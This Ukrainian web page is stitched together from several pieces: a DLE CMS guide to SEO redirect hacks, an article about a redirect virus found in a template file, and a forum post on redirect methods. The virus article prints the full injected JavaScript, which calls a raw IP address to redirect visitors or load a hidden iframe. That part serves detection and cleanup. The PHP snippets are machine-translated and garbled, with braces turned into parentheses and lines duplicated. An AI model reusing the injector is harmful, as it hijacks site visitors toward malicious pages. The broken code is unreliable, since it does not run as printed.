Незвичайний редирект-вірус у DLE. Незвичайний редирект-вирус в DLE Редирект для публікацій, які не мають ID, на головну сторінку

04.08.2021 Новини

Є у мене сайт на движку DataLife Engineі я вирішив змінити його профіль. Не кардинально, просто трохи звузити тематику. Для цього мені потрібно було видалити з сайту більше половини контенту, що не стосується цієї тематики. Почав потроху чистити сторінки, замінюючи їх на новий контент. Але все одно довелося змінювати структуру URL і через це в панелі вебмайстрів з'явилося, знизилася відвідуваність, позиції в пошуку за вузькою тематикою. Крім цього зауважив, що на віддалені сторінки є посилання з форумів та сервісів типу otvet.mail.ru. При переході з цих сторінок лунала помилка 404. Крім цього технічного факту наслідують інші негативні фактори — втрачається посилальна вага, знижуються поведінкові показники і, гадаю, ще низка негативних наслідків.

Вирішив я це виправити брутальним методом — по всіх віддалених сторінках віддавати не 404 помилки, а робити 301 редирект на головну. У CMS DLE для того, щоб здійснити цей хак потрібно у файлі /engine/modules/show.full.php знайти код:

elseif (! $news_found) (@ header ("HTTP/1.0 404 Not Found"); msgbox(

elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

та замінити його на

// 301 редирект на головну, якщо новина не знайдена/не існує elseif(! $news_found) ( header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"])"); die("Redirect"); )// 301 редирект на головну, якщо новина не знайдена/не існує

Тепер все при зверненні пошукового робота йому віддаватиметься повідомлення про те, що інформація з цієї сторінки перенесена назавжди на головну і всю вагу посилань, яка йде на віддалені сторінки буде перерозподілятися на головну.

Відвідувачів з віддалених сторінокпросто перенаправить на головну і, сподіваюся, далі вони здогадаються скористатися пошуком.

Тепер опишу приблизно таку ж логіку переадресації, але вже не для новин, а для категорій. Відкриваємо файл /engine/engine.php та шукаємо код:

if (! $category_id ) $category_id = "not detected" ;

if (!$category_id) $category_id = "not detected";

який замінюємо на

if ($config [ "allow_alt_url" ] == "yes" AND ! $category_id AND $view_template != "rss" ) ( header ( "HTTP/1.0 301 Moved Permanently"); header ( "Location: ($config["http_home_url"]) "); die ("Redirect"); ) //Вирішення проблеми з категоріями, яких не існує

//вирішення проблеми з категоріями, яких не існує if ($config["allow_alt_url"] == "yes" AND ! $category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"])"); die("Redirect"); ) //вирішення проблеми з категоріями, яких не існує

Всі. Тепер те саме буде працювати і для віддалених категорій DLE.

Привіт друзі. Нарешті настав час для третьої частини мого мега-посібника з оптимізації DLE.

Тільки зараз з жахом усвідомив, що попередня друга частина керівництва вийшла понад півроку тому!

За сформованою традицією ми говоритимемо про , саме у цій частині я розповім про деякі особливості движка та дрібні, але дуже корисні фішки та хакі, які не підійшли за форматом у попередніх частинах.

Ця частина також пов'язана з адресами сторінок, але на відміну від другої частини, де ми боролися з дублями і виключали їх появу, в цій частині ми розглянемо, як позбутися неіснуючих сторінок, що з'явилися в результаті видалення або помилки на адресу.

Пост оновлено 6 травня 2014 року:
Оновлено зміни, що вносяться в двигун, додана підтримка нових версій двигуна.
Актуально для наступних версій DLE: 7.x, 8.x, 9.x, 10.x!

Інші частини SEO-керівництва:
Частина 1, Оптимізація заголовків Title
Частина 2, Боротьба з дублюванням контенту
Частина 4, Виправлення для версій DLE 9.3, 9.4, 9.5, 9.6

Редирект з неіснуючих сторінок пагінації на правильні та існуючі

Фішка була придумана буквально сьогодні, коли я знайшов безліч 404 помилок на одному із сайтів у панелі вебмайстра.

Візьмемо цілком реальну ситуацію – чомусь ви вирішили змінити кількість новин, що виводяться на головній сторінці або сторінках категорій. Як сталося у мене: редизайн сайту; структура сторінок повністю змінилася; було вирішено виводити більше стислих анонсів новин на кожній сторінці (було 7, стало 10). Підсумок був наступним. в панелі вебмайстра з'явилося багато сторінок із 404 помилками. Проста арифметика, було на сайті 1000 новин, на кожній сторінці виводилося по 7 анонсів, отже тільки на головній у нас виходить 1000/7=142 сторінки пагінації. Після змін сторінок стало рівно 100. У результаті 42 сторінки просто зникли. А якщо візьмемо ще категорії, то неіснуючі сторінки вже сотня-дві. Це погано, негарно і взагалі не тру.

Відкриваємо файл /engine/modules/show.short.php і в самому низу знаходимо:

} ?>

Вище додаємо:

$all_pages_count = @ceil ($count_all/$config ["news_number"]); if ($cstart > $all_pages_count ) ( if ($all_pages_count > 1 ) ( header () ; header ("Location: " . $url_page . "/page/" . $all_pages_count . "/" ) ; die () ; ) else ( header ( "HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url_page . "/" ) ; die (); ) //редирект на останню сторінку, якщо в url вказана сторінка більше, ніж максимально існуюча

//редирект на останню сторінку, якщо в url вказана сторінка більша за максимально існуючу $all_pages_count = @ceil($count_all / $config["news_number"]); if ($cstart > $all_pages_count) ( if ($all_pages_count > 1) ( header("HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url_page . "/page/" . $all_pages_count . "/ "); die(); ) else ( header("HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url_page . "/"); die(); ) ) //редирект на останню сторінку, якщо в url вказана сторінка більш ніж максимально існуюча

Трохи поясню код:іде перевірка на умову — якщо номер поточної сторінки більший ніж максимальна кількістьсторінок на сайті (або в категорії), то відбувається редирект на останню сторінку. Якщо запитується сторінка номер 2, а сторінок лише одна, то відбувається редирект на гравну сторінку (або головну сторінкукатегорії).

Приклад на пальцях хтось запитує сторінку сайту site.ru/page/435/, а на цьому сайті всього 268 сторінок, отже, трапиться редирект на адресу site.ru/page/268/.

Редирект з неіснуючих сторінок пагінації коментарів на правильні

Актуальність: Лише версії DLE 8.x, 9.x. Для DLE 10.x не є актуальним, т.к. вже реалізовано в самому движку.

Аналогічна ситуація із пагінацією в коментарях. Може виникнути така ситуація, що, наприклад, вам нагадали в коментарях, пошукові системи проіндексували всі сторінки коментарів, а потім ви це помітили і видалили всі коментарі. Але сторінки, які проіндексувала пошукова система, все одно залишаться, просто на них не відображатимуться жодні коментарі, а буде повний дубль основної сторінки новини. І це сумно, треба виправляти!

Відкриваємо файл /engine/classes/comments.class.php і в самому низу знаходимо:

} } ?>

Вище додаємо:

//редирект на останню сторінку коментарів, якщо в url вказана сторінка більш ніж максимально існуюча if ($this->cstart > $enpages_count) ( header("HTTP/1.1 301 Moved Permanently"); header("Location: " . $url );die(); ) //редирект на останню сторінку коментарів, якщо в url вказано сторінку більшу, ніж максимально існуюча

Ну ось, тепер все гаразд, можете перевірити.

Редирект із посилань із зайвими символами або неправильним закінченням на вірні адреси

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Раніше тут було дуже складне рішення, яке залежало від версії двигуна. Але з моменту написання цієї посади я достатньо прокачав свої вміння, щоб скласти універсальне рішеннядля всіх версій DLE і взагалі абсолютно для будь-якого движка чи будь-якого сайту!

Відкриваємо.htaccess, який лежить докорінно і знаходимо:

RewriteBase / RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteCond %(REQUEST_URI) ^(.*)\.html(.+) RewriteCond %(REQUEST_URI) ^(.*)\. %(REQUEST_URI) ^(.*)\.ht$ RewriteCond %(REQUEST_URI) ^(.*)\.h$ RewriteCond %(REQUEST_URI) ^(.*)\.$ RewriteRule ^(.*)\.(. *) $1.html

Незалежно від обраного типу ЧПУ при переході за будь-яким «кривим» посиланням відвідувач потрапить туди, куди повинен був потрапити.

Редирект із розділів чи категорій, яких більше не існує, на головну сторінку

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Приклад із життя: ви вирішили змінити структуру сайту або просто видалили якісь категорії через непотрібністьОтже, ці сторінки перестануть існувати, а посилання на них можуть десь залишитися. Наприклад, на emofans'і у мене колись були блоги для користувачів, доступні за адресою site.ru/blog/, а в них йшов поділ на користувачів, ось так site.ru/blog/user1/, site.ru/blog /user2/ і т.д. Вже багато років як я зніс ці блоги через непотрібність, а посилання на них і помилки в панелі вебмайстра живуть.

Ще дана редагування дозволить уникнути появи адрес сторінок повної новинибез розширення на кінці або взагалі адрес повної новини, коли відсутня цілий шматок url ​​в кінці. Таким чином, у поєднанні з попереднім пунктом, ці зміни допоможуть на 99% уникнути появи невірних та небажаних адрес.

Відкриваємо файл /engine/engine.php та знаходимо:

if (! $category_id ) $category_id = "not detected" ;

if (!$category_id) $category_id = "not detected";

ЗАМІНЮЄМОна:

//вирішення проблеми з категоріями, яких не існує if (!$category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"]) )"); die("Redirect"); ) //вирішення проблеми з категоріями, яких не існує

Редирект для публікацій, у яких немає ID, на головну сторінку

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Ще одна реальна історія взята з моїх сайтів. У панелі вебмайстра висить багато сторінок з помилкою 404 такого виду site.ru/category/subcat/page-name.html, а за правилами має бути так site.ru/category/subcat/123-page_name.html. Ось чесно, досі не розумію, яким чином і чому зник ID новини і хто посилався на публікації таким чином. Ніяких модулів і хаків, які прибирають із url його ідентифікатор я ніколи не використовував, так що грішу на користувачів, які «криво» ставлять посилання у своїх бложеках на мій сайт. Ну та гаразд, це вже не важливо, а важливо розібратися з цією проблемою!

Тільки для версій DLE 10.x (а також для 9.5, 9.6, 9.7 та 9.8)

Нова версія коду, крім того, що редиректит «проблемні» адреси сторінок повної новини, але так само редиректит на головну ще й неіснуючі або видалені статичні сторінки. Пов'язано це з логікою, що змінилася в движку. З одного боку, напевно, це добре, адже одним розмахом дві проблеми вирішуємо. З іншого боку, спочатку двигун видає звичайну помилку - якщо вас влаштовує такий стан справ, тоді не вносите правки, описані в цьому пункті.

Відкриваємо файл /engine/modules/static.php та знаходимо у самому кінці:

@ header ("HTTP/1.0 404 Not Found"); $lang [ "static_page_err" ] = str_replace ("(page)" , $name . ".html" , $lang [ "static_page_err" ] ) ; msgbox( $lang [ "all_err_1"] , $lang [ "static_page_err"] ) ;

@header("HTTP/1.0 404 Not Found"); $lang["static_page_err"] = str_replace ("(page)", $name.".html", $lang["static_page_err"]); msgbox($lang["all_err_1"], $lang["static_page_err"]);

ЗАМІНЮЄМОна:

// 301 редирект на головну з адрес сторінок новин, де зник id, а також неіснуючих статичних сторінок header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"])"); die("Redirect"); // 301 редирект на головну з адрес сторінок новин, де зник id, а так само неіснуючих статичних сторінок

Старе рішення. Тільки для версій DLE 7.x, 8.x, 9.0, 9.2 та 9.3

Всі адреси, що містять на кінці.html і не містять ID, будуть редагуватися на головну сторінку.Існуючі та коректні статичні сторінки, хоч і вони так само не мають ID в url-адресі, не будуть редагуватися, а працюватимуть як і раніше.

Відкриваємо всі файли /engine/engine.php і знаходимо:

if ($subaction == "" ) $subaction = "showfull" ; )

if ($subaction == "") $subaction = "showfull"; )

НИЖЧЕ додаємо:

if ( ( $config [ "allow_alt_url" ] == "yes" ) && (strpos ($_SERVER [ "REQUEST_URI" ] , ".html" ) !== false ) && ($dle_module == "main" ) ) ( header ( "HTTP/1.0 301 Moved Permanently"); header ( "Location: ($config["http_home_url"]) "); die ("Redirect"); ) // 301 редирект на головну з адрес сторінок новин, де зник id

// 301 редирект на головну з адрес сторінок новин, де зник id if (($config["allow_alt_url"] == "yes") && (strpos($_SERVER["REQUEST_URI"], ".html") !== false) && ($dle_module == "main")) (header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"])"); die("Redirect"); ) // 301 редирект на головну з адрес сторінок новин, де зник id

Редирект для віддалених або неіснуючих новин на головну

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Ну тут стандартна ситуація і може зустрітися на будь-якому сайті. Ви видалили якусь новину і, зрозуміло, видаватиметься 404 помилки. Якщо вас це не влаштовує, а саме те, що видається 404 помилка, то можна зробити, наприклад, 301-редирект на головну сторінку сайту, яка вже точно існує;)

Відкриваємо файл /engine/modules/show.full.php та знаходимо:

elseif (! $news_found) (@ header ("HTTP/1.0 404 Not Found"); msgbox(

elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )

ЗАМІНЮЄМОна:

// 301 редирект на головну, якщо новина не знайдена/не існує elseif(! $news_found) ( header("HTTP/1.0 301 Moved Permanently"); header("Location: ($config["http_home_url"])"); die("Redirect"); ) // 301 редирект на головну, якщо новина не знайдена/не існує

Тепер при переході на неіснуючу чи віддалену публікацію здійснюватиметься редирект на головну сторінку сайту.

А взагалі, хлопці, у мене є окремий дуже великий пост.
Я вам рекомендую з ним ознайомитися, незалежно від того, чи працюєте ви тільки з DLE або з іншої CMS.

Забороняємо індексацію розділів сайту за допомогою мета-тегу robots

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Отже, пам'ятаєте я нещодавно публікував пост про , де говорив, що закривати сторінки від індексації за допомогою robots.txt не тру, а ось закривати за допомогою правильний варіант. Настійно рекомендую вивчити цей пост.

Якщо не відчуваєте в собі впевненості, рекомендую використовувати !З модулем ви по будь-якому не помилитеся ніде, а так само вам не доведеться після кожного оновлення движка вносити дані правки.

Відкриваємо файл /engine/engine.php, що вже полюбився, знаходимо марний рядок і видаляємо:

if ($config["allow_rss"]) $metatags .=<<HTML;

Вище додаємо:

if ($subaction == "userinfo" OR $subaction == "allnews" OR $subaction == "newposts" OR $do == "stats" OR $do == "addnews" OR $do == "register" OR $do == "favorites" OR $do == "rules" OR $do == "pm" OR $do == "feedback" OR $do == "lastcomments" OR $do == "lostpassword" OR $do == "search" OR $do == "lastnews" OR $do == "alltags" OR $do == "tags" OR $dle_module == "date" ) $metatags .= <<HTML;

if ($subaction == "userinfo" OR $subaction == "allnews" OR $subaction == "newposts" OR $do == "stats" OR $do == "addnews" OR $do == "register" OR $do == "favorites" OR $do == "rules" OR $do == "pm" OR $do == "feedback" OR $do == "lastcomments" OR $do == "lostpassword" OR $do == "search" OR $do == "lastnews" OR $do == "alltags" OR $do == "tags" OR $dle_module == "date") $metatags .=<<HTML;

Якщо ви хочете закрити від індексації сторінки пагінації, типу site.ru/page/X/ або site.ru/category/page/X/, тоді необхідно додати один рядок:

(intval ($_GET [ "cstart" ] ) > 1 )

(intval($_GET["cstart"]) > 1)

У результаті код, наведений вище, перетворюється так:

if ($subaction == "userinfo" OR $subaction == "allnews" OR ... $dle_module == "date" OR (intval ($_GET [ "cstart" ] ) > 1 ) ) $metatags .= <<HTML;

if ($subaction == "userinfo" OR $subaction == "allnews" OR ... $dle_module == "date" OR (intval($_GET["cstart"]) > 1)) $metatags .=<<HTML;

Тепер я поясню, що означає кожен із пунктів умови if, і я для вас підготував чудову табличку з описом.

МодульОписПриклад URL
userinfoПерегляд профілю користувача.site.ru/user/user_name/
allnewsПерегляд новин конкретного користувача.site.ru/user/user_name/news/
newpostsПерегляд новинок, індивідуально для кожного користувача, доступний лише зареєстрованим, гостям показується помилка.site.ru/newposts/
statsСторінка статистики сайту та ТОП10 користувачів.site.ru/statistics.html
addnewsСторінка додавання новини на сайт.site.ru/addnews.html
registerСторінка форми реєстрації нового користувача.site.ru/index.php?do=register
favoritesПерегляд обраного, індивідуально для кожного користувача, доступний лише зареєстрованим, гостям показується помилка.site.ru/favorites/
rulesСторінка правил сайту, які показуються перед реєстрацією, які є окремою сторінкою.site.ru/rules.html
pmПерегляд особистих повідомлень користувачем або форма надсилання особистого повідомлення будь-якому користувачеві сайту.site.ru/index.php?do=pm
feedbackСторінка зворотного зв'язку.site.ru/feedback.html
lastcommentsПерегляд всіх коментарів до публікації на сайті у зворотному хронологічному порядку.site.ru/index.php?do=lastcomments
lostpasswordСторінка відновлення пароля.site.ru/index.php?do=lostpassword
searchРозділ пошуку на сайті.site.ru/index.php?do=search
lastnewsПерегляд усіх останніх новин сайту. Точна копія головної сторінки сайту та всіх сторінок пагінації.site.ru/lastnews/
alltagsПерегляд сторінок усіх тегів сайту.site.ru/tags/
tagsПерегляд публікацій із конкретним тегом.site.ru/tags/Tag+Name/
dateАрхів сайту. Список публікацій за певний рік чи місяць чи день.site.ru/2007/ або site.ru/2007/06/ або site.ru/2007/06/22/

* Найважливіший момент— при закритті від індексації сторінок описаним методом необхідно прибрати забороняючі правила в robots.txt для сторінок і розділів, які ми закрили за допомогою мета-тагу. Інакше жодного сенсу не буде.

На власний розсуд ви можете з наведеного мною коду прибрати якісь частини, розділи, які конкретно для вашого сайту закривати від індексації не потрібно. Так що, будь ласка, будьте уважнішими.

Додаємо тег rel="canonical" для сторінок перегляду повної новини

Актуальність: Усі версії DLE. Перевірено на 7.x, 8.x, 9.x, 10.x.

Пам'ятається, хтось у коментарях однієї з попередніх частин просив розповісти, як виводити тег rel="canonical" у публікаціях на сайтіТак от, хто не бачив мого коментаря з описом даного методу, читайте далі.

Відкриваємо файл /engine/modules/show.full.php та...

для версій DLE 7.x, 8.x, 9.0, 9.2 та 9.3 знаходимо:

) else ( $full_link = $config [ "http_home_url" ] . "index.php?newsid=" . $row [ "id" ] ; $print_link = $config [ "http_home_url" ] . "engine/print.php?newsid =" . $row [ "id" ] ; $short_link = "" ; )

) else ($full_link = $config["http_home_url"] . "index.php?newsid=" . $row["id"]; $print_link = $config["http_home_url"] . "engine/print.php?newsid =" . $row["id"]; $short_link = "";)

для версій DLE 10.x (а також для 9.5, 9.6, 9.7 та 9.8) знаходимо:

) else ( $full_link = $config [ "http_home_url" ] . "index.php?newsid=" . $row [ "id" ] ; $print_link = $config [ "http_home_url" ] . "engine/print.php?newsid =" . $row [ "id" ] ; $short_link = "" ; $link_page = "" ; $news_name = "" ; )

) else ($full_link = $config["http_home_url"] . "index.php?newsid=" . $row["id"]; $print_link = $config["http_home_url"] . "engine/print.php?newsid =" . $row["id"]; $short_link = ""; $link_page = ""; $news_name = "";)

НИЖЧЕ додаємо )

if ($full_canonical) ($metatags .=<<HTML;)

Як би і все;) Кому треба користуйтеся на здоров'я.

Щось я, мабуть, забув описати в цьому пості, оскільки інформацію, описану тут, збирав протягом тривалого часу в голові, а не записував у блокнот. Але якщо ви щось згадаєте чи знайдете незвичайні помилки на своєму сайті – обов'язково пишіть у коментарях, я придумаю вирішення вашої проблеми та додам його до посту.

Дякую за увагу, друзі, залишайтеся на зв'язку та підписуйтесь на новини блогу.

PS Я не впевнений, чи буде наступна частина посібника, оскільки на даний момент писати в ній нічого, все, що могло б бути корисним, вже описано в існуючих трьох частинах. Але мало ... Все залежить від вас і ваших питань і пропозицій!

У мережі вже описано безліч ситуацій, коли сайт DLE (Data Life Engine) зловмисники заражали вірусом і ставили редирект на інший домен. У цій статті мова піде про один із таких зламів сайту, проте описи подібного виду зараження ви навряд чи зустрінете - свого роду унікальний вірус, якого помітили вперше.

Як вірус потрапив на сайт

Точних даних щодо джерела зараження отримати не вдалося. Відповідно до знайдених файлів, які були залиті в папку UPLOADS, нічого конкретного виявити також не вдалося.

Ймовірно, було вкрадено пароль від хостингу або адмінки сайту. FTP облікових записів на сайті не використовувалося.

Незвичайний редирект

Вперше про наявність вірусу повідомив Яндекс у панелі інструментів для Вебмайстрів у неділю 16 листопада. Виглядало все це так:

Пошук вірусу на сайті

Щоб знайти вірус, використали спеціальний скрипт. Ai-bolit. Так як розмір сайту перевищував 1 Гб, сканувати файли на наявність вірусів безпосередньо на сервері не вдалося (не вистачало часу виконання).

Завантаживши на локальний диск архів сайту, було запущено перевірку, результати якої дуже здивували — нічого підозрілого у файлах не знайшлося, але сайт, як і раніше, редиректував то на непристойний домен, то на завантаження підозрілого ПЗ.

При заході на сайт з мобільного телефону під керуванням ОС Android користувачів автоматично перекидало на таку сторінку:

Або таку:

Переглядаючи кожен файл окремо, виявити загрозу також не виходило.

Як знайти редирект при такому зараженні DLE

Цілком випадково в шаблоні main.tpl, в самому низу файлу був . Прямо в коді віджету онлайн консультанта знаходився такий код:

Передостанній рядок видався підозрілим, а саме — нешкідлива бібліотека JQuery.ui.js завантажувалася з незрозумілої адреси, прописаної у вигляді IP.

Перейшовши на цю адресу отримуємо наступне:

If(!getCookie("google__analytics__"))( var gate = "http://5.61.34.53/jquery/jquery.php"; var today = New Date(), tomorrow = New Date(); tomorrow.setDate(today .getDate() + 1);setCookie("google__analytics__", 1, tomorrow.toGMTString());var ua = navigator.userAgent.toLowerCase(); location = gate; else( var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 el.src = "http://5.61.34.53/2c24"; ) ) function setCookie (name, value, expires, path, domain, secure) ( document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires: "") + ((path) ? "; path=" + path: "") + ((domain) ? "; domain=" + domain: "") + ((secure) ? "; secure" : ""); ) function getCookie(name) ( var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) (offset = cookie.indexOf(search); if (offset != -1) ( offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) ( end = cookie.length; ) setStr = unescape(cookie). substring(offset, end));))) return(setStr); )

Саме цей рядок зі скриптом і викликав редирект. Видаливши її, змінивши паролі на сайті та хостингу, проблема зникла.

Чим саме відрізняється цей редирект-вірус від інших видів зараження

Шукати по файлах сайту за допомогою NotePad входження eval, base64 та інші марно. Перевіряти сайт антивірусами (усі відомими) - марно. Перевірка за допомогою Ai-bolit також не дасть результату.

Тільки в ручному режимі із самостійним переглядом можна побачити результат, оскільки вірус завантажується не із самого сайту, а із зовнішнього джерела. Щоб уникнути подібний злам сайту, ніколи не зберігайте логіни та паролі в браузерах, робіть їх складними і не використовуйте ім'я адміністратора ADMIN. Бережіть свої сайти на ДЛЯ!

Заголовок теми: Закрита.

  1. У зв'язку з міграцією на ДЛЕ 8.2 потрібно прописати редирек зі старих сторінок на нові.

    В.htaccess додаю Redirect 301 /content/view/121/54/ http://www.site.ru/alan

    Наприклад, тих, що зайшли в test, переадресуємо на www.test.com, решту на enter.test.com (порядок слідування записів важливий

    Примітка: для моїх цілей (зміна домену) вистачило першого варіанта простого 301 редиректу.
    2.
    Використання mod_rewrite (прописується у файлі.htaccess

    Стало класичним завдання злиття імена сайту з www і без нього, вирішується так:

    Options +FollowSymLinks
    RewriteEngine on
    RewriteCond %(HTTP_HOST) ^yoursite\.com
    RewriteRule ^(.*)$ http://www.yoursite.com/$1 .

    Або альтернативний синтаксис:

    Options +FollowSymLinks
    RewriteEngine On
    RewriteCond %(HTTP_HOST) ^domain\.com$
    RewriteRule ^(.*)$ http://www.domain.com/$1

    Позначення означає: перенаправити клієнта та надіслати йому код статусу 301 (R=301) і зробити це правило останнім (L).

    Редирект старого домену на новий:

    Options +FollowSymLinks
    RewriteEngine on
    RewriteRule (.*) http://www.newdomain.com/$1

    Наприклад, якщо необхідно, щоб замість rewrite.htm завантажувався файл rewrite.html, додайте в.htaccess:

    RewriteEngine on
    RewriteBase /
    RewriteRule ^rewrite\.htm$ rewrite.html

    Для заміни всіх.htm файлів.html файлами:

    RewriteEngine on
    RewriteBase /
    RewriteRule ^(.*)\.htm$ $1.html

    3.
    Редирект на PHP:


    header("Location: http://www.newdomain.ru/newdir/newpage.htm");
    exit();
    ?>

    Краще вказати HTTP/1.1, оскільки старіші не підтримують віртуальний хостинг. Не забудьте, що до виклику header нічого не повинно виводитися (наприклад, echo або print). Тому цей код краще ставити на початок php-скрипту. Більш повний варіант php редиректа зі збереженням сторінки, що передається, і параметрів виклику:

    $ref=$_SERVER["QUERY_STRING"];
    if ($ref!="") $ref="?".$ref;
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: http://newdomain.com/".$ref);
    exit();
    ?>

    4.
    Редирект на ASP

    <%@ Language=VBScript %>
    <%
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location", "http://www.new-url.com"
    response.end
    %>

    5.
    Редирект на ASP.NET

    6.
    Редирект на ColdFusion

    <.cfheader statuscode="301" statustext="Moved permanently">
    <.cfheader name="Location" value="http://www.new-url.com">

    7.
    Редирект за допомогою meta refresh

    Де 0 - затримка переадресації за секунди, newdomain.com -сторінка, куди переадресуємо. Деякі старі браузери не підтримують meta refresh зі значенням 0, для сумісності можна встановити ненульове значення, хоча, як на мене, це вже не актуально. Такий редирект не зможе склеїти ваші сайти (з www і без) та передати PR, оскільки ігнорується пошуковими системами. Він повертає код 200 OK, що відповідає звичайній сторінці. Ця техніка популярна у спамерів, тому її варто застосовувати лише для сторінок, які не індексуватимуться.
    8.
    Редирект за допомогою JavaScript

    Варіанти переадресації на JavaScript частіше реалізуються за допомогою функції setTimeout("функція", затримка).

    Наприклад, автоматично зробити Click на кнопці "Submit" форми "searchform" через 0.1 с після завантаження коду:

    SetTimeout("document.forms["searchform"].Submit.click()", 100);

    На кнопку "Submit" можна повісити будь-яку дію, наприклад, відкрити новий URL в цьому вікні. До речі, таке редиректи частіше зустрічаються при організації Дорвєєв (DorWay) - браузер Користувача буде переадресований на іншу сторінку, а пошуковий робот, який "не розуміє" JavaScript, буде індексувати цю сторінку, недоступну користувачу. На ній дорвейщики розміщують текст, напханий "потрібними" ключовими словами.

    Щоб просто переадресувати на іншу сторінку, можна вставити після одного з варіантів коду на JavaScript:
    * location="http://www.newdomain.com";
    * document.location.href="http://www.newdomain.com";
    * window.location.reload("http://www.newdomain.com");
    * document.location.replace("http://www.newdomain.com");
    В останньому випадку вже не можна буде повернутися на сторінку, що виконала переадресацію, тому що її адреса стирається з історії, що нерідко і потрібною. Якщо потрібна затримка часу, можна оформити location="http://www.newdomain.com"; у вигляді функції та вставити її в setTimeout("функція()", затримка_в_мсек); Редирект JavaScrupt не є 301 редиректом і не передасть PR сторінки, не зможе забезпечити її склеювання.

    Зазначимо додатково деякі особливості редиректів:

    * Методи редиректу с.htaccess працюють лише на Linux серверах, що мають Apache з увімкненим модулем Mod-Rewrite.
    * Використання.htaccess створює додаткове навантаження на сервер Apache, більш ефективно прописувати ті ж команди в його конфігураційному файлі hpptd.conf, але, як правило, до нього немає доступу у вебмайстра.
    * 301 редирект, дозволяє зберегти трафік і передати PR сторінки для пошукових систем (для Google точно).
    * процес склеювання та передачі PR займає тривалий час - до декількох місяців і також залежить від пошукової системи, тому не видаляйте стару сторінку або сайт, доки не відбудеться остаточне перенесення.
    * Деякі пошукові системи вимагають для склеювання сайтів додаткових налаштувань, наприклад, для Яндекса потрібно додатково прописувати robots.txt

    Висновок. Безпечний спосіб редиректу старих сторінок на нові або старого сайту на нову адресу, зі збереженням позицій у пошукових системах, полягає у використанні 301 редиректу, який також дозволить вам передати старий Page Rank сторінки на новий сайт.

    Детальніше про mod_rewrite можна прочитати на: